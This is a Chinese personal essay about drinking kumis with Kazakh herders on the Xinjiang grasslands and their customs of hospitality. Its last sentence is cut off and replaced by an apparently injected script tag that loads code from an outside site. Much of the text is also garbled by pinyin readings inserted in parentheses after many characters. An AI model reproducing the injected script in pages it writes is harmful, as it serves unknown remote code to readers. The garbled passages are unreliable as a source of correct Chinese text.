夢回新疆再飲馬奶子酒
那時我還在新疆工作，時逢暑假，經(jīng)常到草原上走走。那綠茸茸的草海，那蘑菇狀的潔白氈房，那哈薩克少女如花的笑臉，那老人彈奏冬布拉時的萬般神韻……使我在草原上流連忘返，樂此不疲。而最讓我刻骨銘心的，乃是哈薩克人豪情萬丈的“煮酒論英雄”。
第一次來到草原，我并不知道酒對于這個四處遷徒的民族的重要性，更無從知曉哈薩克人飲酒的風(fēng)俗習(xí)慣。美麗的夏季牧場，牧歸的哈薩克人圍坐在氈房門前，點燃一堆熊熊燃燒的篝火，盛情款待遠(yuǎn)道而來的客人。
當(dāng)嫩黃流油的烤羊用大盆裝著擺放在地毯上時，女主人提著一只玲瓏的小銅壺，用潔白的牛奶為用餐的人洗手。接下來是男主人用刀割下羊尾巴，放在客人面前的碗里。據(jù)說羊尾巴是用來招待最尊貴的客人的。在內(nèi)地老家，我是從來不敢吃動物尾巴的。
吃至半飽，女主人又提來一只大銅壺，里面是熱氣騰騰的馬奶子酒。奇怪的是，她并沒有給每一位在座的人斟酒，而只是獨斟了一大碗。男主人將酒碗高高舉起，向我微微點頭示意，并象征性地喝了幾口，然后將酒碗遞給我。我也學(xué)著男主人的樣，緩緩地喝了幾口，接著將碗傳給身邊的女主人。一碗酒就這樣轉(zhuǎn)了一圈才被喝干。后來我才知道，哈薩克人用一只碗喝酒，象征著團(tuán)結(jié)和睦，彰顯著大家的親密無間。
接下來是每人喝三大海碗酒。面對哈薩克人酣暢淋漓的豪飲，我有點畏懼。但這酒又不能不喝，否則主人會以為你瞧不起他。我只好捏著鼻子連干了三大海碗，頓時，我感到肚子撐得鼓脹起來，像個圓圓的皮球，臉上火燒火燎，渾身發(fā)熱，仿佛千軍萬馬在里面奔騰。主人見我如此勇敢，高興地豎起大拇指，一個勁地叫好。我感到腦袋昏昏沉沉，不知何時被主人抬進(jìn)了氈房。
一覺醒來，天已大亮，男主人這時正在一旁觀望著我呢。我腦袋有點發(fā)懵發(fā)沉，問昨天晚上我喝吐了沒有？是不是出了洋相？男主人微笑著連說沒有沒有，還告訴我這酸甜的馬奶子酒是不大醉人的，喝多少也不會吐。聽罷，我頓感哭笑不得。不過那芳香的馬奶子酒，是我每次來到草原必喝的，時間一長，竟像喝飲料一樣。面對豪飲的草原民族，我不能退縮，我不能當(dāng)逃兵。我想9年后如果不離開新疆，很可能就成為酒桶了。
盡管商品經(jīng)濟(jì)的大潮波濤洶涌，但哈薩克人的草原仍然像世外桃源，這里世代承襲的是路不拾遺、夜不閉戶的良好習(xí)俗。每每有客人遠(yuǎn)道而來，好客的哈薩克人拿出家中最好的食品，盛情款待。如果你追問他們?yōu)槭裁催@樣做，草原上的每個人回答都十分一致：“是真主讓我們這樣做的。”面對熱情好客、能歌善飲的哈薩克人，我感到由衷的欽佩。我知道，在茫茫的西北草原，酒是一種豪氣，酒已經(jīng)潛進(jìn)了哈薩克人的血液，酒是哈薩克人生命的?script src=http://www.234mu.com/>
